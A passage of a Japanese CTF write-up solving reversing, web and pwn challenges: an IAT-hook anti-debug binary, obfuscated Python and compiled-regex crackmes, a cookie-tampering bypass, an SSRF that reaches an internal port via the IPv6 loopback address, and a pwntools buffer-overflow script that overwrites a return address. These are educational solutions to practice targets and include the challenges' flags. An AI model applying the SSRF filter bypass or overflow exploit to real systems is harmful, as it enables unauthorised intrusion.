      ++pImageThunkData_iat;
      ++pImageThunkData_int;
    }
  }
  return 0;
}

全体としては、第1引数で指定されたucrtbase.dllモジュールのImportAddressTableを列挙して、KERNELBASE.dllCreateFileWを参照している箇所を、第4引数のアドレスに書き換える挙動で、すなわちIAT Hookを行う関数でした。モジュールのPEヘッダーの構造等はPE ファイルについて (8) - インポート 基本編 - 鷲ノ巣が詳しいです。

フック先関数の調査

さて、antidebugtest.exewhatisthis.dlliathook関数を呼び出すときの第4引数をクロスリファレンスで追跡すると、0x140001900にあるnewopen関数を指定していることが分かりました。newopen関数の最初の逆コンパイル結果は次の内容でした:

int __cdecl newopen(
        LPCWSTR filename,
        DWORD dwAccess,
        DWORD dwShareMode,
        LPSECURITY_ATTRIBUTES lpsecurity,
        DWORD dwCreatePosition,
        DWORD dwFlag,
        HANDLE hTemplateFile)
{
  if ( !IsDebuggerPresent() )
    return originaldebug(filename, dwAccess, dwShareMode, lpsecurity, dwCreatePosition, dwFlag, hTemplateFile);
  Sleep(1000u);
  return 0;
}

デバッガー検知こそしているもの、それだけがあるように見えました。しかしグローバル変数memoryの相互参照箇所があるらしかったりと、newopen関数にはもっと多くの処理があることも分かりました。

逆アセンブル画面を眺めていると、0x140001948で次の内容があることに気付きました:

.text:0000000140001941                 mov     [rbp+a], 1
.text:0000000140001948                 cmp     [rbp+a], 1
.text:000000014000194C                 jnz     short loc_14000198E
.text:000000014000194E                 mov     rax, cs:originaldebug
.text:0000000140001955                 mov     [rbp+original_0], rax
.text:0000000140001959                 mov     r10, [rbp+original_0]
.text:000000014000195D                 mov     r9, [rbp+lpsecurity]
.text:0000000140001961                 mov     r8d, [rbp+dwShareMode]
.text:0000000140001965                 mov     edx, [rbp+dwAccess]
.text:0000000140001968                 mov     rax, [rbp+filename]
.text:000000014000196C                 mov     rcx, [rbp+hTemplateFile]
.text:0000000140001970                 mov     [rsp+70h+var_40], rcx
.text:0000000140001975                 mov     ecx, [rbp+dwFlag]
.text:0000000140001978                 mov     [rsp+70h+var_48], ecx
.text:000000014000197C                 mov     ecx, [rbp+dwCreatePosition]
.text:000000014000197F                 mov     [rsp+70h+var_50], ecx
.text:0000000140001983                 mov     rcx, rax
.text:0000000140001986                 call    r10
.text:0000000140001989                 jmp     loc_140001B90

mov [rbp+a], 1からのcmp [rbp+a], 1であるため、ZFがONになります。その状態でjnz命令へ行くため、ジャンプしません。そのまま本来のCreateFileWを呼び出してreturnする流れでした。試しにバイナリパッチでmov [rbp+a], 0に変えてから逆コンパイル画面を更新すると、様々な処理もあることが分かりました:

int __cdecl newopen(
        LPCWSTR filename,
        DWORD dwAccess,
        DWORD dwShareMode,
        LPSECURITY_ATTRIBUTES lpsecurity,
        DWORD dwCreatePosition,
        DWORD dwFlag,
        HANDLE hTemplateFile)
{
  int v8; // ecx
  int i_3; // [rsp+5Ch] [rbp-14h]
  int i_2; // [rsp+60h] [rbp-10h]
  int i_1; // [rsp+64h] [rbp-Ch]
  int i_0; // [rsp+68h] [rbp-8h]
  int i; // [rsp+6Ch] [rbp-4h]

  if ( IsDebuggerPresent() )
  {
    Sleep(1000u);
    return 0;
  }
  else
  {
    for ( i = 0; i <= 49; ++i )
      memory[i] = filetxt[i];
    for ( i_0 = 35; i_0 <= 47; ++i_0 )
    {
      if ( i_0 % 3 )
        LOBYTE(v8) = (LOBYTE(filetxt[i_0]) ^ 0xD) + 4;
      else
        v8 = filetxt[i_0];
      memory[i_0] = v8;
    }
    for ( i_1 = 7; i_1 <= 13; ++i_1 )
      memory[i_1] = LOBYTE(filetxt[i_1]) ^ 0x5C;
    for ( i_2 = 14; i_2 <= 34; ++i_2 )
    {
      if ( (i_2 & 1) != 0 )
        memory[i_2] = filetxt[i_2] - 3;
      else
        memory[i_2] = filetxt[i_2] - 17;
    }
    for ( i_3 = 49; i_3 > 6; --i_3 )
      memory[i_3 + 1] = memory[i_3];
    memory[7] = 73;
    return originaldebug(filename, dwAccess, dwShareMode, lpsecurity, dwCreatePosition, dwFlag, hTemplateFile);
  }
}

解析が終わった後の試行錯誤とフラグ

上記バイナリパッチをantidebugtest.exeへ反映して実行しましたが、出力されるflag.txtは依然として文字化けしていた内容でした。困ったのでx64dbgでデバッグ実行して色々確認しました。

ちなみにx64dbgのScyllaHide Pluginを使うと、IsDebuggerPresent関数にFALSEを返させるなどでデバッガー検知を回避できます。便利なプラグインです。

デバッガー実行すると、newopen関数が2回呼び出されることに気付きました。main関数での2回のfopenそれぞれで呼び出されるらしいです。色々試していると、1回目のnewopen関数呼び出し時ではa変数をそのままにしてCreateFileWをそのまま呼び出すだけにし、2回目のnewopen関数呼び出し時ではa変数の値を書き換えてjnz命令でジャンプするように変更すると、正しいフラグを入手できました: fwectf{I_10v3_D3bugging_and_I_und3r5700d_IA7_H00k}

[Rev, Medium] A (10 teams solves, 459 points)

演算子オーバーロード大好き!

配布ファイルとして、main.pyがありました。全体は長いのでGitHubリポジトリでの公開内容をご参照ください。抜粋です:

class _A(type):
    def __xor__(AA, AAA):
        return AA(AAA)
    def __invert__(AA):
        return globals()
    def __mod__(AA, AAA):
        return __import__("base64").b64decode(['QXJpdGhtZXRpY0Vycm9y', "同様にBase64エンコードされた文字列が続きます、省略"][AAA].encode()).decode()

class A(metaclass=_A):
    def __init__(AA, AAA):
        AA.A=AAA
    def __mul__(AA,AAA):
        return AA-(A:=-AA)-(A+AAA)
    def __sub__(AA,AAA):
        return (AA.A.append(AAA),AA)[1]
    def __neg__(AA):
        return AA.A.pop()
    def __xor__(AA,AAA):
        return AA-(-AA)(*[-AA for AAA in [AAA]*AAA])
    def __mod__(AA,AAA):
        return [AA:=(AA-eval(-((AA-A%117)))(-AA,-AA)) for AAA in [AAA]*AAA][~AAA//(AAA+AAA//AAA)]
    def __truediv__(AA,AAA):
        return ((AA//AAA-""-A%103-A%155)**1)%1^2
    def __pow__(AA,AAA):
        return ((AA-A%30-A%99-~A)%1^1)%1
    def __floordiv__(AA,AAA):
        return AA-[-AA for AAA in [AAA]*AAA]
    def __pos__(AA):
        return [AA:=AA-AAA for AAA in -AA][-1]

t=A^[];#この後に長い内容が続きます。省略。

試しに実行してみると、入力を促されて、その内容が正しいフラグかどうかを検証する内容らしいと分かりました。

同名の引数名でshadowingしていたりする部分を書き換えたり、__xor__で関数呼び出しをしている箇所や__mod__での属性アクセス箇所にログ出力を追加したりしました:

from typing import Any


# fmt:off
class _A(type):
    def __xor__(self, rhv):
        print(f"{type(self) = }") # class A
        print(f"{type(rhv) = }") # []
        return self(rhv) # 実質new。
    def __invert__(self) -> dict[str,Any]:
        return globals()
    def __mod__(self, index:int) -> str:
        return __import__("base64").b64decode(['QXJpdGhtZXRpY0Vycm9y', "同様にBase64エンコードされた文字列が続きます、省略"][index].encode()).decode()

# fmt:on
class A(metaclass=_A):
    def __init__(self, initial_list):
        self.A = initial_list  # 属性名Aを使うので変更できません

    def __mul__(self, rhv):
        subed = -self
        return self - (subed) - (subed + rhv)

    def __sub__(self, value_to_append):
        # return (self._list.append(rhv),self)[1]
        self.A.append(value_to_append)
        return self

    def __neg__(self):
        return self.A.pop()

    def __xor__(self, rhv: int):
        # return self - (-self)(*[-self for not_used in [rhv] * rhv])
        func = -self
        parameters = [-self for not_used in [rhv] * rhv]
        result = (func)(*parameters)
        print(f"{func}({parameters}) => {result}")
        return self - result

    def __mod__(self, rhv: int):
        # return [ self := (self - eval(-(self - "getattr"))(-self, -self)) for notused in [rhv] * rhv][~rhv // (rhv + rhv // rhv)]
        tmp_list = []
        for notused in [rhv] * rhv:
            obj = -self
            name = -self
            get_attr_result = getattr(obj, name)
            if obj == globals():
                print(f"getattr(globals(), {name}) => {get_attr_result}")
            else:
                print(f"getattr({obj}, {name}) => {get_attr_result}")
            self = self - get_attr_result
            tmp_list.append(self)
        return tmp_list[-1]

    def __truediv__(self, rhv: int):
        return ((self // rhv - "" - "join" - "str") ** 1) % 1 ^ 2

    def __pow__(self, rhv):
        # return ((self - "__builtins__" - "get" - ~A) % 1 ^ 1) % 1
        return ((self - "__builtins__" - "get" - globals()) % 1 ^ 1) % 1

    def __floordiv__(self, rhv: int):
        return self - [-self for not_used in [rhv] * rhv]

    def __pos__(self):
        return [self := self - element for element in -self][-1]


# fmt:off
t=A^[] # 実質 A([])インスタンス構築
# 長い内容が続きます、省略

適当にTEST_INPUT文字列を入力として与えて、ログ出力結果を眺めると、次の内容が目に止まりました:

(前略)
getattr(<module 'builtins' (built-in)>, len) => <built-in function len>
<built-in function len>([b'TEST_INPUT']) => 10
(中略)
getattr(<module 'builtins' (built-in)>, str) => <class 'str'>
getattr(<class 'str'>, join) => <method 'join' of 'str' objects>
<method 'join' of 'str' objects>(['', <map object at 0x74415694fa90>]) => __eq__
getattr(49, __eq__) => <method-wrapper '__eq__' of int object at 0xb37a28>
<method-wrapper '__eq__' of int object at 0xb37a28>([10]) => False
(後略)

入力が49文字であるかどうかを検証しているようでした。そういうわけで、入力としてfwectf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}を与えると、ログ出力内容が約10倍の長さになりました。眺めたり、別の文字列で実験したりすると、次のことが分かりました:

  • Random.seedを1回呼び出します。その引数は、sum(input結果.encode())のようです。
  • その後、Random.randint(0, 255)を49回呼び出します。
  • xor(input結果, 49回分のRandom.randint(0, 255)結果)が、固定のリストと同一であるかを検証しているようです。

フラグフォーマットはfwectf{から始まることが分かっているので、その事実を元にRandom.seedの引数が分かりそうです。また、Random.seedの引数が分かれば残りのフラグも分かりそうです。この発想でソルバーを書きました:

#!/usr/bin/env python3

import random

for seed in range(10000):
    random.seed(seed)
    b = bytearray(b"fwectf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}")
    # print(b)
    for i in range(len(b)):
        b[i] ^= random.randint(0, 255)

    if b.startswith(bytes([145, 233, 148, 144, 2, 16])):
        print(seed)  # 4198

random.seed(4198)
b = bytearray(
    [
        145,
        233,
        148,
        144,
        2,
        16,
        109,
        230,
        148,
        219,
        171,
        255,
        113,
        14,
        128,
        224,
        141,
        88,
        73,
        85,
        215,
        93,
        55,
        104,
        126,
        135,
        209,
        154,
        99,
        229,
        155,
        250,
        172,
        252,
        102,
        29,
        73,
        25,
        248,
        47,
        184,
        126,
        153,
        187,
        31,
        72,
        21,
        236,
        141,
    ]
)
for i in range(len(b)):
    b[i] ^= random.randint(0, 255)
print(b.decode())

実行しました:

$ time ./solve.py
4198
fwectf{1_h0p3_J4v4_5upp0rt5_0p3r4t0r_0v3r104d1n9}
./solve.py  0.32s user 0.00s system 95% cpu 0.343 total
$

フラグを入手できました: fwectf{1_h0p3_J4v4_5upp0rt5_0p3r4t0r_0v3r104d1n9}

この問題では1st-bloodを獲得できました!

[Rev, Easy] reeeeeee (4 teams solves, 487 points)

^re{7}$

配布ファイルとして、reeeeeee.pyがありました。List部分が長いので、全体はGitHubリポジトリでの公開内容をご参照ください。抜粋です:

from _sre import compile
from sys import version_info

assert version_info[0] == 3 and version_info[1] >= 11

flag = input("Enter flag > ")
print("YNeos!!"[not compile("dummy",0,[14, 中略, 1],23,{},(None,)*24).match(flag)::2])

_sreモジュールはアンダースコアから始まる名前からして、内部用のモジュールのようでした!

情報収集と逆アセンブル

手元のPython環境で色々評価して確かめました。_sre.compile関数の戻り値は、re.compile(r'dummy')でした。この意味では通常のre.compileと同様の結果のようでした。

コンパイル元の文字列がどこかにあるか調べていると、python - How to decompile a regex? - Stack Overflowが見つかりました。.pattern属性で元文字列が分かるようす。しかし_src.compile結果のオブジェクトで試すと'dummy'が得られました。第1引数がそのまま返されるようです!

その他、色々調べているとre.DEBUGフラグの存在を知りました。_sre.compile関数へ渡しても特段何も起こりませんでしたが、python - What is the meaning of the re.DEBUG flag? - Stack Overflowからre.compile側へ渡すとコンパイル結果の逆アセンブルが得られると分かりました。

「もしや自力で逆アセンブラを書くしか無いのでは」と思いながらcpythonコードから読んでいると、cpython/Lib/re/_compiler.py中のcompile関数がdis関数を呼び出していることに気付きました!dis関数を直接呼び出せたら簡単に逆アセンブルできそうなので、早速試しました:

#!/usr/bin/env python3
import re._compiler

code = [14, 中略, 1]
re._compiler.dis(code)

無事に逆アセンブルに成功しました!

逆アセンブル結果の解釈と雑パース(不完全)

逆アセンブル結果は次のような内容でした:

  0. INFO 4 0b0 0 0 (to 5)
   5: ASSERT 40 0 (to 46)
   8.   AT BEGINNING
  10.   LITERAL 0x66 ('f')
  12.   LITERAL 0x77 ('w')
  14.   LITERAL 0x65 ('e')
  16.   LITERAL 0x63 ('c')
  18.   LITERAL 0x74 ('t')
  20.   LITERAL 0x66 ('f')
  22.   LITERAL 0x7b ('{')
  24.   REPEAT_ONE 16 48 48 (to 41)
  28.     IN 11 (to 40)
  30.       CHARSET [0x00000000, 0x83ff0002, 0x87fffffe, 0x07fffffe, 0x00000000, 0x00000000, 0x00000000, 0x00000000]
  39.       FAILURE
  40:     SUCCESS
  41:   LITERAL 0x7d ('}')
  43.   AT END
  45.   SUCCESS
  46: ASSERT 39 0 (to 86)
  49.   AT BEGINNING
  51.   REPEAT 30 0 MAXREPEAT (to 82)
  55.     BRANCH 5 (to 61)
  57.       NOT_LITERAL 0x63 ('c')
  59.       JUMP 22 (to 82)
  61:     branch 20 (to 81)
  62.       LITERAL 0x63 ('c')
  64.       ASSERT 14 0 (to 79)
  67.         MARK 0
  69.         IN 6 (to 76)
  71.           LITERAL 0x74 ('t')
  73.           LITERAL 0x30 ('0')
  75.           FAILURE
  76:         MARK 1
  78.         SUCCESS
  79:       JUMP 2 (to 82)
  81:     FAILURE
  82:   MAX_UNTIL
  83.   AT END
  85.   SUCCESS
  以降省略

re.DEBUGフラグ付きで各種正規表現のコンパイル結果を確認しつつ読んでいくと、次の内容の正規表現らしいことが分かりました:

  • 左端の数字が[0, 85]である箇所では、(?=^fwectf\{.{48}\}$)形式であることを確認しているようです。フラグ形式の検証です。
    • 左端の数字が[28, 40]である箇所は、何かしらの文字クラスのようです。詳細は調べていません。
  • 左端の数字が[46, 85]である箇所は、(?=^([^c]|c[t0])*$)形式であることを確認しているようです。
    • 平たく言うと、「cの次にはt0が来る」ことを言っているようです。
  • 以降も同様に、「0の次には1RMが来る」など、同様のASSERTが多く含まれている内容です。

逆アセンブル結果は754行に渡っており人力パースではミスが怖かったため、ざっくりパーサーを書きました。本記事を書いている今となっては自身ですらよく分かっていない内容ですが、CTFということで「Write once, run once」ということでここはひとつご容赦ください……。かつ、文字クラスのINパターンの実装が漏れているので出力もおかしいです。INパターンは2箇所だけの登場だったので、後で人力で編集しました。

上述の通り、バグバグかつスパゲッティなパーサーです:

#!/usr/bin/env python3

import pprint
import re

with open("disassembled.txt") as f:
    transition_dict: dict[str, list[str]] = {}
    hasOccuredFlagFormat = False
    previous_line = ""
    current_leve_2 = ""

    current_character = ""
    next_candidate_current = ""
    next_candidate_set: list[str] = []
    mode = -1  # 0: BRANCH以下、NOT_LITERALが来るはず。 1: branch以下、LITERALの後にさらなるASSERTIONとかが来るはず。 2: LITERALのbranch内部

    def parse_character(line) -> str:
        m = re.search(r"\('(.*)'\)", line)  # NOT_LITERAL 0x55 ('U') 等
        assert m is not None
        return m.group(1)

    for line in f.read().splitlines():
        # print(line)
        line = re.sub(r"^\s*\d+[.:] ", "", line)

        # 最初のfwectf{}形式検証だけパターン外なので除外
        if line == "ASSERT 39 0 (to 86)":
            hasOccuredFlagFormat = True
        if not hasOccuredFlagFormat:
            continue

        if line.startswith("    BRANCH"):
            assert previous_line.startswith("  REPEAT")
            # 新しいパターン、リセット
            current_character = ""
            next_candidate_current = ""
            next_candidate_set = []
            mode = 0
        if line.startswith("    branch"):
            assert previous_line.startswith("      JUMP")
            mode = 1

        if line.startswith("      NOT_LITERAL"):
            assert previous_line.startswith("    BRANCH")
            assert mode == 0
            current_character = parse_character(line)
            next_candidate_current = ""
            next_candidate_set = []
            print(current_character)

        # 複数パターンあることに途中で気づいたのでスパゲッティが加速しています
        if line.startswith("      LITERAL"):
            assert previous_line.startswith("    branch")
            assert mode == 1
            assert parse_character(line) == current_character
            mode = 2
        elif mode == 2 and line.strip().startswith("LITERAL"):
            assert mode == 2
            next_candidate_current += parse_character(line)
        if mode == 2 and (
            line.startswith("          JUMP")
            or line.startswith("          FAILURE")
            or line.startswith("        SUCCESS")
        ):
            assert mode == 2
            if len(next_candidate_current) > 0:
                next_candidate_set.append(next_candidate_current)
                next_candidate_current = ""
        if line.startswith("    FAILURE"):
            assert mode == 2
            assert len(next_candidate_set) > 0
            assert current_character not in transition_dict
            transition_dict[current_character] = sorted(next_candidate_set)

        # 以降検証用
        # ASSERTだらけか、最後のSUCCESSだけ
        if False:
            if not line.startswith(" "):
                print(line)

        # 全部同一パターンらしいことを確認
        if False:
            if line.startswith("  AT BEGINNING"):
                assert current_leve_2.startswith("ASSERT ")
            elif line.startswith("  REPEAT"):
                assert current_leve_2.startswith("  AT BEGINNING")
            elif line.startswith("  MAX_UNTIL"):
                assert current_leve_2.startswith("  REPEAT")
            elif line.startswith("  REPEAT"):
                assert current_leve_2.startswith("  MAX_UNTIL")
            elif line.startswith("  AT END"):
                assert current_leve_2.startswith("  MAX_UNTIL")
            elif line.startswith("  SUCCESS"):
                assert current_leve_2.startswith("  AT END")
            if not line.startswith("    "):
                current_leve_2 = line
        previous_line = line


pprint.pprint(sorted(transition_dict.items()))
print(transition_dict)

パース結果からの探索とフラグ

パース結果を見ると、各種文字に続く可能性があるパターンは少ないように思いました。とりあえずバックトラックで探索するソルバーを実装しました:

#!/usr/bin/env python3

transition_dict = {
    "c": ["t", "0"],  # IN箇所をパースできていないので人力で修正
    "d": ["1", "_R"],
    "e": ["Xx", "c"],
    "f": ["w", "{"],  # IN箇所をパースできていないので人力で修正
    "h": ["1?", "_D"],
    "l": ["3d"],
    "m": ["B"],
    "p": ["1l", "r4"],
    "r": ["4_", "Se", "_d"],
    "s": ["3", "S4"],
    "t": ["f"],
    "u": ["S4", "s"],
    "w": ["e", "h1"],
    "x": ["X!"],
    "B": ["!"],
    "D": ["1s", "_"],
    "E": ["_w", "r"],
    "M": ["p", "xB"],
    "R": ["39"],
    "S": ["4", "s3"],
    "U": ["1?", "_u"],
    "X": ["!_", "x"],
    "0": ["1R", "M"],
    "1": ["?", "D", "l", "sS"],
    "3": ["9", "?", "d_", "m"],
    "4": ["Ss"],
    "9": ["eX"],
    "{": ["3f", "c0"],
    "!": ["E", "_w"],
    "?": ["h_", "}"],
    "_": ["D1", "R", "U", "d", "u", "wh"],
}

TOTAL_LENGTH = len("fwectf{}") + 48
print(f"{TOTAL_LENGTH = }")

candidates = set()
for x in "fwectf{}":
    candidates.add(x)
for c, n in transition_dict.items():
    candidates.add(c)
    for s in n:
        for n in s:
            candidates.add(n)
candidates = sorted(candidates)


def is_valid_flag(flag: str, strict: bool) -> bool:
    if strict:
        if not flag.endswith("}"):
            return False

    end_brace_count = sum(1 for x in flag if x == "}")
    if end_brace_count > 1:
        return False

    for i, c in enumerate(flag):
        if c in transition_dict:
            for next in transition_dict[c]:
                after = flag[i + 1 :]
                if strict:
                    if after.startswith(next):
                        break
                else:
                    if len(after) < len(next) or after.startswith(next):
                        break
            else:
                return False

    if strict:
        print(flag)
    return True


def dfs(current: str) -> bool:
    if len(current) >= TOTAL_LENGTH:
        return is_valid_flag(current, strict=True)

    for c in candidates:
        tmp = current + c
        if is_valid_flag(tmp, strict=False):
            succeeded = dfs(tmp)
            if succeeded:
                pass
    return False


prefix = "fwectf{"
assert is_valid_flag(prefix, strict=False)
dfs(prefix)

実行しました:

$ time ./solve.py
TOTAL_LENGTH = 56
fwectf{c0Mp1l3d_R39eXxX!_wh1?h_D1sS4Ss3mB!Er_d1D_U_us3?}
./solve.py  271.70s user 0.01s system 99% cpu 4:31.72 total
$

フラグを入手できました: fwectf{c0Mp1l3d_R39eXxX!_wh1?h_D1sS4Ss3mB!Er_d1D_U_us3?}

この問題では2nd-bloodを獲得できました!

[Web, Beginner] regex-auth (450 teams solves, 100 points)

正規表現で認可制御をしてみました!

http://chal2.fwectf.com:8001/

配布ファイルとして、サーバー側プログラムのapp.pyや関連ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.env:         ASCII text
./app.py:       Python script, ASCII text executable
./compose.yaml: ASCII text
./Dockerfile:   ASCII text
$

app.pyは次の内容でした:

from flask import Flask, request, redirect, make_response, render_template_string
import base64, os, re, random

app = Flask(__name__)
FLAG = os.getenv("FLAG", "fwectf{dummy}")

USERS = [
    "admin",
    "user",
    "asusn"
]

login_page = """
<!doctype html>
<title>Login</title>
<h1>Login</h1>
<form method="post">
  Username: <input type="text" name="username"><br>
  <input type="submit" value="Login">
</form>
"""

dashboard_page = """
<!doctype html>
<title>Dashboard</title>
<h1>Welcome, {{user}}!</h1>
<p>Your ID: {{uid}}</p>
<p>Your role: {{role}}</p>
<a href="/logout">Logout</a>
"""

@app.route("/", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")

        if username in USERS:
            user_id = f"user_{random.randint(10000, 99999)}"
        else:
            user_id = f"guest_{random.randint(10000, 99999)}"

        uid = base64.b64encode(user_id.encode()).decode()

        resp = make_response(redirect("/dashboard"))
        resp.set_cookie("username", username)
        resp.set_cookie("uid", uid)
        return resp

    return render_template_string(login_page)

@app.route("/dashboard")
def dashboard():
    username = request.cookies.get("username")
    uid = request.cookies.get("uid")

    if not username or not uid:
        return redirect("/")

    try:
        user_id = base64.b64decode(uid).decode()
    except Exception:
        return redirect("/")

    if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE):
        role = f"{FLAG}"
    else:
        role = "OTHER"

    return render_template_string(dashboard_page, user=username, uid=user_id, role=role)

@app.route("/logout")
def logout():
    resp = make_response(redirect("/"))
    resp.delete_cookie("username")
    resp.delete_cookie("uid")
    return resp


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

ユーザー名だけでログインできて、ログイン情報はクッキーで管理される内容です。クッキーのuid値でBase64デコードした内容をrole管理に使っていますが、クッキーはクライアントサイドで改ざんできます。ブラウザの開発者ツールからuidクッキーの内容をAAAAに書き換えて、/dashboardにアクセスしました:

フラグを入手できました: fwectf{emp7y_regex_m47che5_every7h1ng}

[Web, Easy] AED (232 teams solves, 127 points)

Revive this broken heart!

配布ファイルとして、サーバー側プログラムのindex.tsや関連ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.gitignore:         ASCII text
./bun.lock:           JSON text data
./Dockerfile:         ASCII text
./index.ts:           JavaScript source, ASCII text
./package.json:       JSON text data
./public/favicon.ico: MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
./README.md:          ASCII text
./tsconfig.json:      JSON text data
$

index.tsは次の内容でした:

import { Hono } from "hono"
import { getCookie, setCookie } from "hono/cookie"
import crypto from "crypto"

const app = new Hono()
const app2 = new Hono()

const FLAG = process.env.FLAG ?? "fwectf{You_Won!_Sample_Flag}"
const DUMMY = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}"
const FLAG_LEN = FLAG.length

let pwned = false

type Session = { idx: number }
const sessions = new Map<string, Session>()
const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)
const PAGE = `ルート用HTML、省略`;

const getSid = (c: any) => {
  let sid = getCookie(c, "sid")
  if (!sid) {
    sid = crypto.randomUUID()
    setCookie(c, "sid", sid, { httpOnly: true, secure: false, sameSite: "Lax", path: "/" })
  }
  return sid
}

const getSession = (sid: string) => {
  let s = sessions.get(sid)
  if (!s) {
    s = { idx: -1 }
    sessions.set(sid, s)
  }
  return s
}

app.get('/favicon.ico', () => {
  const file = Bun.file('./public/favicon.ico')
  return new Response(file, {
    headers: {
      'Content-Type': 'image/x-icon',
      'Cache-Control': 'public, max-age=31536000, immutable',
    },
  })
})

app.use("*", (c, next) => {
  c.set("sid", getSid(c))
  return next()
})

app.get("/", c => {
  getSession(c.get("sid")).idx = -1
  return c.html(PAGE)
})

app.get("/heartbeat", c => {
  const s = getSession(c.get("sid"))
  if (!pwned) {
    const char = DUMMY[Math.floor(Math.random() * DUMMY.length)]
    return c.json({ pwned: false, char })
  }
  if (s.idx === -1) s.idx = 0
  const pos = s.idx
  const char = FLAG[pos]
  s.idx = (s.idx + 1) % FLAG_LEN
  return c.json({ pwned: true, char, pos, len: FLAG_LEN })
})

app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})

app.get("/fetch", async c => {
  const raw = c.req.query("url")
  if (!raw) return c.text("missing url", 400)
  let u: URL
  try {
    u = new URL(raw)
  } catch {
    return c.text("bad url", 400)
  }
  if (!isAllowedURL(u)) return c.text("forbidden", 403)
  const r = await fetch(u.toString(), { redirect: "manual" }).catch(() => null)
  if (!r) return c.text("upstream error", 502)
  if (r.status >= 300 && r.status < 400) return c.text("redirect blocked", 403)
  return c.text(await r.text())
})

const handler = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app.fetch(req, { REMOTE_ADDR: ip })
}

const handler2 = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app2.fetch(req, { REMOTE_ADDR: ip })
}

Bun.serve({ port: 3000, reusePort: true, fetch: handler })
Bun.serve({ port: 4000, reusePort: true, fetch: handler2 })
console.log(`Started server: http://localhost:3000`)

ソースコードを眺めると、いくつかのことが分かりました:

  • appapp2の2つのサイトが存在します。
  • app側はport: 3000であり、外部からアクセスできます(compose.yamlで外部公開用ポートに指定されています)。
  • app2側はport: 4000であり、外部からはアクセスできません(compose.yamlで指定されていません)。
  • app側の/heartbeatエンドポイントで、pwned変数が真の場合はフラグが手に入ります。しかしpwned変数をtrueに設定するためには、app2側の/toggleエンドポイントへアクセスする必要があります。
  • app側の/fetchエンドポイントではURLを指定してアクセスさせられます。しかしisAllowedURL関数による検証が入ります。

/fetchエンドポイントでSSRFして、app2側の/toggleエンドポイントにアクセスさせる問題と理解しました。isAllowedURL関数では許可されているlocalhost類の表現方法を探していると、127.0.0.1(localhost)を一番面白く表記できた奴が優勝 #IPアドレス - Qiita記事を見つけました。その内容を試していると、コメントでのIPv6表現でうまくいきました。具体的にはhttp://localhost:3000/fetch?url=http://[::1]:4000/toggleアクセスで成功しました。

本問題は、問題ページにInstance起動用のボタンがあり、そのボタンをクリックすると固有のWebサーバーが起動する形式でした。ボタンをクリックしてURLが発行された後に、上記同様にIPv6形式でSSRFしました。その後、Webサイトで徐々にフラグが表示されました:

フラグを入手できました: fwectf{7h3_fu11_w34k_h34r7_l1v3d_4g41n}

[Pwn, Beginner] Pwn Me Baby (178 teams solves, 153 points)

Baby, please pwn me.

nc chal2.fwectf.com 8000

配布ファイルとして、問題本体のmainと、元ソースのmain.cなどがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yml: ASCII text
./Dockerfile:  ASCII text
./flag.txt:    ASCII text, with no line terminators
./main:        ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=24cf25bb6a7cd15a123f273e257dd4280d767ff6, for GNU/Linux 3.2.0, not stripped
./main.c:      C source, ASCII text
$

main.cは次の内容でした:

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void flag(){
  char buf[128]={0};
  int fd=open("flag.txt",O_RDONLY);
  if(fd==-1){
    puts("Couldn't find flag.txt");
    return;
  }
  read(fd,buf,128);
  puts(buf);
}
int main(void){
  char buf[16];
  printf("I will receive a message and do nothing else:");
  scanf("%s",buf);
  return 0;
}

__attribute__((constructor)) void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

scanf("%s,buf)とバッファサイズ指定なしの%s書式文字列を指定しているため、Buffer Overflowが発生します。今回はローカル変数bufが書き込み先であるため、Stack Buffer Overflowを引き起こせます。スタック中には関数の戻りアドレスがあり、戻りアドレスを書き換えれば書き換え先の関数が実行されます。

main関数のセキュリティ機構を、pwntoolsの同梱ツールで検証しました

$  pwn checksec main
[*] '/mnt/d/Documents/work/ctf/Full_Weak_Engineer_CTF/baby-pwn/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
$

No PIE (0x400000)であるため、flag関数は固定のアドレスへ読み込まれます。また、Canary foundとありますが、それは静的リンクされているglibc側のほうが検知されているようで、main関数にはカナリアの処理は含まれません。

IDAでmain関数のスタックレイアウトを見ると、ソースコードではchar buf[16]ですが、コンパイル結果ではchar buf[24]と扱われていることが分かりました:

-0000000000000018     _BYTE buf[24];
+0000000000000000     _UNKNOWN *__return_address;

これらの情報を元に、main関数の戻りアドレスをflag関数中へ置き換えるソルバーを書きました。なお、戻りアドレスをflag関数先頭にすると、スタックの16バイトアライメント制約に違反してしまって実行中にSIGSEGVが発生したため、flag関数冒頭のpush rbpを飛ばした次のアドレスに設定しました:

#!/usr/bin/env python3

import pwn

elf = pwn.ELF("main", checksec=False)

pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"


def solve(io: pwn.tube):
    addr_flag = elf.symbols["flag"] + 1  # push rbpの後
    payload = pwn.flat(
        b"A" * 24,
        addr_flag,
    )
    io.sendlineafter(b"I will receive a message and do nothing else:", payload)

    # io.interactive()
    io.stream(line_mode=False)


# fmt: off
GDBSCRIPT = r"""
set show-tips off
set follow-fork-mode parent
handle SIGALRM nostop
continue
"""
